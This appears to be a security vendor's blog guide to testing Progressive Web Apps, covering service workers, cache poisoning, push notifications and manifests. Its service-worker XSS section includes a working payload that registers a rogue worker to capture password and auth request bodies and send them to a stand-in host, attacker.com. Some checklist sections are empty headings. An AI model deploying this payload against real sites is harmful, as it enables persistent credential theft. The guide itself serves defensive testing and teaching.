Progressive Web App (PWA) Security Testing: Service Workers, Caching, and Offline Attack Surface

Progressive Web Apps (PWAs) bring app-like capabilities to the browser — offline support, push notifications, background sync, and installability. These capabilities are built on top of Service Workers, the Cache API, and a manifest file. Each of these adds a new attack surface that doesn't exist in a traditional web application. A service worker that intercepts network requests, caches API responses, or processes push notifications is security-critical code that needs the same scrutiny as server-side code.

This guide covers the PWA-specific security testing methodology — what breaks, where to look, and how to test it.

PWA Attack Surface Overview

Component What It Does Security Risk
Service Worker Intercepts all network requests for its scope Request/response manipulation, persistent XSS, cache poisoning
Cache API Stores request/response pairs for offline use Sensitive data persists, stale poisoned responses served
Push API Receives notifications from a push server Notification spoofing, payload injection, phishing
Background Sync Queues actions while offline for later execution Stale or injected actions replayed after reconnection
Web App Manifest Defines install behavior, icons, start URL Open redirect via start_url, scope misconfiguration
IndexedDB / localStorage Client-side data storage for offline use Sensitive data persists indefinitely, XSS exfiltration

Service Worker Security Testing

Service Worker Scope and Registration

A service worker can only intercept requests within its scope — the directory it's registered from. A service worker at /sw.js controls all requests under /. One at /app/sw.js only controls /app/*.

Find the service worker:

# DevTools > Application > Service Workers
# Lists registered service workers, their scope, and status

# Also check:
# DevTools > Application > Service Workers > Offline
# (simulate offline mode to trigger cache fallback behavior)

# Programmatically inspect:
navigator.serviceWorker.getRegistrations()
    .then(regs => regs.forEach(r => console.log(r.scope, r.active?.scriptURL)));

Review the service worker script directly. Fetch it and read it:

curl https://target.com/sw.js
# Look for:
# - fetch event handlers that modify request/response
# - Dynamic URL construction (eval, string concatenation)
# - postMessage handlers without origin validation
# - Cache strategy (stale-while-revalidate, cache-first, etc.)
# - What gets cached — static assets only, or API responses too?

Service Worker Cache Poisoning

If a service worker caches API responses without validating them, an attacker who can inject a malicious response into the cache (via XSS, network interception on HTTP, or a compromised CDN) can persist that poisoned response for all subsequent requests — even after the initial attack vector is patched.

Persistent XSS via service worker cache A reflected XSS payload is served once from the server. The service worker caches the response. Now every future visit serves the cached XSS payload from the local cache — even after the server-side XSS is fixed. The vulnerability persists until the cache is invalidated.

Test for overly aggressive caching:

// Inspect the Cache API from the browser console
const cacheNames = await caches.keys();
console.log('Cache stores:', cacheNames);

for (const name of cacheNames) {
    const cache = await caches.open(name);
    const requests = await cache.keys();
    console.log(`\n=== ${name} (${requests.length} entries) ===`);
    for (const req of requests) {
        const res = await cache.match(req);
        console.log(req.url, res.headers.get('content-type'));
    }
}

What to flag:

Service Worker Fetch Interception

A service worker's fetch event handler intercepts all network requests in its scope. Vulnerabilities here can affect every request the application makes.

// Malicious fetch handler (what to look for in sw.js)

// BAD: constructs URL from untrusted input
self.addEventListener('fetch', event => {
    const url = new URL(event.request.url);
    const redirect = url.searchParams.get('next');
    // If redirect is attacker-controlled, this is an open redirect
    if (redirect) {
        event.respondWith(Response.redirect(redirect));
    }
});

// BAD: caches all responses including those with sensitive data
self.addEventListener('fetch', event => {
    event.respondWith(
        caches.match(event.request).then(cached => cached
            || fetch(event.request).then(response => {
                const clone = response.clone();
                caches.open('v1').then(cache => cache.put(event.request, clone));
                return response;
            })
        )
    );
    // This caches EVERYTHING, including:
    // - /api/user/profile (personal data)
    // - /api/payments (financial data)
    // - Any authenticated response
});

Service Worker XSS Persistence

A service worker registered with XSS runs with the privileges of the page origin and persists even after the XSS payload is gone. This is one of the highest-severity XSS impact scenarios.

// XSS payload that installs a malicious service worker
// This persists indefinitely even after the original XSS is fixed
const sw = `
    self.addEventListener('fetch', e => {
        if (e.request.url.includes('password') || e.request.url.includes('api/auth')) {
            e.request.clone().text().then(body =>
                fetch('https://attacker.com/steal?b=' + encodeURIComponent(body))
            );
        }
    });
`;
const blob = new Blob([sw], {type: 'text/javascript'});
navigator.serviceWorker.register(URL.createObjectURL(blob), {scope: '/'});

Test whether an XSS can register a service worker: If the application's Content Security Policy (CSP) doesn't block blob: URLs or doesn't restrict worker-src, this attack is viable. Check the Content-Security-Policy header for worker-src directive.

Push Notification Security Testing

Push Subscription Theft

Push subscriptions contain a public key, endpoint URL, and authentication secret. These are not secret — they're shared with the push server. But if the subscription data is exposed to an attacker, they can send unauthorized notifications to the user.

// Get current push subscription
const reg = await navigator.serviceWorker.ready;
const sub = await reg.pushManager.getSubscription();
console.log(JSON.stringify(sub));
// Output includes: endpoint, expirationTime, keys.auth, keys.p256dh
// The 'endpoint' is a push service URL — if unguarded, sends notifications to this user

Push Notification Content Injection

The push notification handler in the service worker receives a payload from your server. If the payload is rendered without sanitization, it can produce misleading or malicious notifications.

// Check service worker notification click handler
self.addEventListener('notificationclick', event => {
    const url = event.notification.data.url;
    // BAD: opens any URL from notification payload without validation
    event.waitUntil(clients.openWindow(url));
    // GOOD: validate URL is same-origin before opening
    // if (new URL(url).origin === self.location.origin) { clients.openWindow(url); }
});

Web App Manifest Security Testing

The web app manifest (manifest.json or manifest.webmanifest) defines how the PWA behaves when installed. Security issues in the manifest are subtle but real.

curl https://target.com/manifest.json

What to check:

Background Sync Security Testing

Background Sync allows queuing actions while offline that execute when connectivity resumes. If the queued data includes authentication tokens or sensitive payloads, persistence of that data matters.

Offline Data Exposure

PWAs often cache data aggressively for offline use. On shared or public devices, this creates persistent data exposure risk.

Correct behavior: offline mode should show a "you're offline" screen for authenticated content, not serve cached sensitive data without re-authentication.

PWA Security Testing Checklist

Ironimo scans modern web applications including PWAs — detecting XSS, insecure caching, and content security policy gaps with Kali Linux-grade tooling on demand.

Start free scan
← Back to Blog